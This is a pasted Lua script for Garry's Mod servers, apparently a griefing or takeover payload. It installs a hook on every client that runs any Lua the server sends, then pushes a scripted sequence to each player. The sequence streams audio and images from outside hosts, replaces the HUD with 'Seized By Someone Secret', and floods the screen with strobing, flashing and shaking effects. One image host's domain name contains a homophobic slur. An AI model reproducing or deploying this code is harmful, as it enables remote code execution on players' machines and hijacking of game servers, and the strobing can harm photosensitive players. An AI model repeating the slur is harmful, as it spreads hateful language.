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Feb 20th, 2019
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  1. util.AddNetworkString("slua")
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "slua" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "lol jk" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "https://squish.space/haxman/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://godhatesfags.lgbt/CpbNL.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://godhatesfags.lgbt/N51i8.png", "xhair", 64, 64 )
  101. LoadWebMaterial( "https://godhatesfags.lgbt/e31d9.png", "doritos", 183, 256 )
  102. LoadWebMaterial( "https://godhatesfags.lgbt/4CHNs.png", "fedora", 256, 256 )
  103. LoadWebMaterial( "https://godhatesfags.lgbt/9evxG.png", "dew", 110, 256 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106.  
  107. --HUD swap
  108. lol:PushAction( 31, function( pPlayer )
  109. lol:SendLua( pPlayer, [[
  110. (GAMEMODE or GM).CalcView = function() end
  111. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  112.  
  113. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  114. for k, v in pairs(remove) do
  115. hook.GetTable()[v] = {}
  116. end
  117.  
  118. local function GetWebMat( strURL )
  119. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  120. end
  121.  
  122. hook.Add( "HUDPaint", "newhud", function()
  123. surface.SetDrawColor( 255, 255, 255, 255 )
  124.  
  125. if GetWebMat( "hud1" ) then
  126. surface.SetMaterial( GetWebMat("hud1")[1] )
  127. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  128. end
  129. if GetWebMat( "hud2" ) then
  130. surface.SetMaterial( GetWebMat("hud2")[1] )
  131. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  132. end
  133. if GetWebMat( "hud3" ) then
  134. surface.SetMaterial( GetWebMat("hud3")[1] )
  135. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  136. end
  137. if GetWebMat( "xhair" ) then
  138. surface.SetMaterial( GetWebMat("xhair")[1] )
  139. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  140. end
  141.  
  142. if GetWebMat( "doritos" ) then
  143. surface.SetMaterial( GetWebMat("doritos")[1] )
  144. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  145. end
  146. if GetWebMat( "dew" ) then
  147. surface.SetMaterial( GetWebMat("dew")[1] )
  148. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  149. end
  150. if GetWebMat( "fedora" ) then
  151. surface.SetMaterial( GetWebMat("fedora")[1] )
  152. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  153. end
  154. if GetWebMat( "awp" ) then
  155. surface.SetMaterial( GetWebMat("awp")[1] )
  156. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  157. end
  158.  
  159. draw.SimpleTextOutlined(
  160. "Seized By Someone Secret ;)",
  161. "DermaLarge",
  162. ScrW() /2 +math.random( -8, 8 ),
  163. ScrH() /2 +math.random( -8, 8 ) +64,
  164. Color( 255, 0, 0, 255 ),
  165. TEXT_ALIGN_CENTER,
  166. TEXT_ALIGN_CENTER,
  167. 1,
  168. Color( 0, 0, 255, 255 )
  169. )
  170. end )
  171.  
  172. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  173. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  174.  
  175. surface.PlaySound( "garrysmod/save_load4.wav" )
  176. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  177. ]] )
  178. end )
  179.  
  180.  
  181. lol:PushAction( 10, function( pPlayer )
  182. local idx = pPlayer:EntIndex()
  183. timer.Create( "beat".. idx, 0.42, 0, function()
  184. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  185. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  186. end )
  187.  
  188.  
  189. lol:SendLua( pPlayer, [[
  190. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  191. local time = 0
  192.  
  193. hook.Add( "Think", "wat", function()
  194. if CurTime() < time then
  195. return
  196. end
  197.  
  198. time = CurTime() +0.05
  199. for i = 1, 16 do
  200. local part = emitter:Add(
  201. "particles/balloon_bit",
  202. LocalPlayer():GetPos() +Vector(
  203. math.random( -256, 256 ),
  204. math.random( -256, 256 ),
  205. 256
  206. )
  207. )
  208.  
  209. if part then
  210. local Size = math.random( 4, 7 )
  211.  
  212. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  213. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  214. part:SetDieTime( 4.5 )
  215. part:SetGravity( Vector(40, 0, -250) )
  216. part:SetLifeTime( 0 )
  217. part:SetStartSize( Size /2 )
  218. part:SetEndSize( Size )
  219. part:SetCollide( true )
  220. end
  221. end
  222. end )
  223. ]] )
  224.  
  225. lol:SendLua( pPlayer, [[
  226. hook.Add( "RenderScreenspaceEffects", "wat", function()
  227. local sinScaler = math.sin( CurTime() )
  228. DrawBloom(
  229. 0,
  230. 3,
  231. sinScaler *math.Rand(1, 8),
  232. sinScaler *math.Rand(1, 8),
  233. 6,
  234. math.Rand(0.5, 2),
  235. math.Rand(0, 0.3),
  236. math.Rand(0, 0.3),
  237. math.Rand(0.5, 1)
  238. )
  239.  
  240. DrawColorModify{
  241. ["$pp_colour_addr"] = 0,
  242. ["$pp_colour_addg"] = 0,
  243. ["$pp_colour_addb"] = 00,
  244. ["$pp_colour_brightness" ] = 0,
  245. ["$pp_colour_contrast" ] = 1,
  246. ["$pp_colour_colour" ] = 1,
  247. ["$pp_colour_mulr" ] = 0,
  248. ["$pp_colour_mulg" ] = 0,
  249. ["$pp_colour_mulb" ] = 1
  250. }
  251. end )
  252.  
  253. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  254. mdl:SetNoDraw( true )
  255. local posCache, time = {}, 0
  256.  
  257. hook.Add( "HUDPaint", "dance", function()
  258. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  259. local idx = mdl:LookupSequence("taunt_dance")
  260. mdl.SeqDuration = mdl:SequenceDuration( idx )
  261. mdl.SeqStart = CurTime()
  262. mdl:ResetSequence( idx )
  263. end
  264.  
  265. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  266.  
  267.  
  268. local w, h = 300, 300
  269. local ang = Angle( 0, 0, 0 )
  270.  
  271. for i = 1, 32 do
  272. if CurTime() > time then
  273. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  274. end
  275. local x, y = posCache[i][1], posCache[i][2]
  276.  
  277. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  278. cam.IgnoreZ( true )
  279. render.SuppressEngineLighting( true )
  280.  
  281. render.SetLightingOrigin( mdl:GetPos() )
  282. render.ResetModelLighting( 1, 1, 1 )
  283. render.SetColorModulation( 0, 0, 1 )
  284.  
  285. mdl:DrawModel()
  286.  
  287. render.SuppressEngineLighting( false )
  288. cam.IgnoreZ( false )
  289. cam.End3D()
  290. end
  291.  
  292. if CurTime() > time then
  293. time = CurTime() +0.15
  294. end
  295. end )
  296.  
  297. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  298. ]] )
  299. end )
  300.  
  301. lol:PushAction( 54, function( pPlayer )
  302. lol:SendLua( pPlayer, [[
  303. hook.Add( "GetMotionBlurValues", "wat", function()
  304. return 0, 0, 1, math.sin(CurTime() *13)
  305. end )
  306.  
  307. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  308. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  309. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  310. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  311. end )
  312.  
  313. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  314. render.SetMaterial( Material("cable/blue_elec") )
  315. for i = 1, 32 do
  316. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  317. end
  318. end )
  319.  
  320. timer.Create( "thedrop", 0.42, 0, function()
  321. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  322. end )
  323. ]] )
  324. end )
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